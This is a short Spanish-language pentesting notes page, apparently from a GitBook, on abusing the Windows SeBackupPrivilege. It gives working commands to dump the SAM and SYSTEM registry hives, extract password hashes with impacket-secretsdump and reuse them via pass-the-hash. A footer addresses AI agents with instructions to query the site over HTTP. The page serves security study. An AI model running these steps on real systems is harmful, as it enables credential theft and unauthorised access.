# SeBackupPrivilege

Es un privilegio que:

* Permite **omitir las restricciones de acceso** a archivos del sistema
* Diseñado para herramientas de backup
* Permite leer SAM, SYSTEM, etc.

```
# Ver privilegios
whoami /priv

# Extraer SAM y SYSTEM
reg save hklm\sam C:\Temp\sam.hive
reg save hklm\system C:\Temp\system.hive
```

```
# Desde PowerShell si accedemos vía RDP
cmd /c "reg save HKLM\SAM & reg save HKLM\SYSTEM SYSTEM"
```

<figure><img src="/files/OApXmCvSS0m9gNRMui3Z" alt=""><figcaption></figcaption></figure>

```
download sam.hive
download system.hive
```

<figure><img src="/files/sJAMdaSkz7PkcTafJmVC" alt=""><figcaption></figcaption></figure>

Ahora con secretsdump hacemos lo siguiente para conseguir los hashes.

```
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
```

<figure><img src="/files/uTC3ICzcZknaWPxlJyD8" alt=""><figcaption></figcaption></figure>

Podemos hacer un Pass\_the\_Hash.

<figure><img src="/files/tli8qWlQILuMpF4Rmgai" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://alv-fh.gitbook.io/alv-fh/windows-privilege-escalation/sebackupprivilege.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
